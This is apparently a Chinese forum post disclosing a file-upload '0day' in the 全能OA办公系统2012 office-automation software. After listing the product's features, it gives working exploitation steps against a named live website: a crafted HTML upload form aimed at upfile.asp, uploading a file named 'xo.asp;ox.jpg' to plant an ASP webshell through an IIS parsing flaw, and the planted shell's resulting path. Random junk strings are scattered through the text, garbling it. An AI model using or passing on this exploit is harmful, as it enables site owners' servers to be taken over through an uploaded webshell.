全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
0 Z' e6 B8 J, ~" y# ~​
系统介绍：

全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

主要功能：
( P0 ~4 b) _& `* g1 d公司通告
  ~! i) m6 B3 W7 a: {# [工作计划
- F* l5 L5 y+ D  A& ]8 |5 N' n! Z通讯助理
% c" A0 [( }6 ~客户资源
我的公文
2 B" D1 v1 i) q% C' k$ h2 _4 m公文传阅
% X& t0 o5 ]  M# _. C公共资源
资源预约
+ U) A- Q, m( T今日考勤
1 M' C2 s1 N. l: @9 J! s# d2 V个人计划
个人通讯录
个人基本档案
未读邮件
" X4 H6 ^% U+ q1 a+ `7 Z发邮件
收件夹
寄件夹
网络硬盘
网络会议
网络调查
交流论坛

) @, B) V% c2 q& x有兴趣测试的朋友可以下源码看看

源码下载：

http://www.mycodes.net/30/4750.htm
+ u) S$ y  g8 c. i
漏洞介绍：

% b3 W' e! H  H5 Y  r由upfile.asp上传文件漏洞引起

! }2 U) b+ S5 `$ l& I8 j测试方法：

使用名小子上传http://www.itlynn.com/upfile.asp即可

如果upfile.asp文件被删除不存在。
! j5 `' j: F& b
  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
7 N! w; t; v- y
如果存在那么将如下代码保存为upfile.html。

$ I( w% D1 v3 M& \然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。

! C! x" g0 n7 F

01 <table border='0' align="center" cellpadding="5">
$ K& i- V( ]) n) S$ z: M
. ^6 X% I, ?; z( r1 e% n: g8 ~* j02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

( `% {: ~9 m& e/ k: ^03 <tr>

2 l- D7 d$ U7 g$ ?2 z04             <td>报错：</td>

' l; t9 r) w$ w4 V- n6 \. N05             <td><input type='radio' name='errnumber' value='0'>

7 U" b! \( ]( E$ i7 z: g06               自动更名

9 {& i; P( M5 ?! X: g07               <input type='radio' name='errnumber' value='1' checked>
" A$ M; m, ~! r1 [; ~
4 E9 A$ H  d4 |' ]; [) r7 G) z08               报错方式

/ x- |; c6 D: c) ?09               <input type='radio' name='errnumber' value='2'>
# o1 p3 E) m: z2 A
1 |) P! P, }- C0 f& ]) {4 X. s10               直接覆盖</td>
) T; L0 g. k/ U4 x( s
6 N* m, O6 e& d- [11           </tr>

- z; \7 x; I  U. U" R+ \4 N12           <tr>
. v, t3 P$ V- l# v
$ {0 P! @) n2 m2 N13             <td>主题：</td>

14             <td><input type='text' name='filename' size='30'></td>

! {. L0 @- V& C' ^( ?( A5 h4 m15           </tr>
7 v3 f, E, B# B$ ]
# v0 F+ i; w+ ]16           <tr>
7 T  h' ^! e# ]$ l3 }3 G
1 d$ y5 ]/ O1 u; @$ D8 y: o$ P# s17             <td>文件：</td>
" D+ _( m, A: g% l
& ?4 @5 e1 V* m4 V5 l/ d; f7 i* O+ ^$ W18             <td><input type="file"name="fruit"size="30"></td>
- L( y& Q2 I7 U8 ?  s- P0 _6 u
5 Y' o$ N5 G8 n" L  o6 ~* ~' D19           </tr>
' u9 h! @0 H- n9 \; \. k7 J1 {0 I
20           <tr>

5 c  G, Z. Z% r2 L% L3 O7 Q21             <td valign='top'>简介：</td>

22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

23           </tr>

: Q4 K( z% f* S$ n0 z. o# l& i24   
8 U4 }& k1 Q+ G
, ?1 n1 ]: t" F25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

26           </tr>

5 v; z4 k4 k$ B2 b; Z27         </form>
+ ]- ]; t) X1 Y, _6 Q# {1 Z
然后打开上传一个文件名为xo.asp;ox.jpg的文件。



上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
% P. K+ m4 s- n$ @  A5 j  X$ d
此漏洞需要配合解析漏洞利用。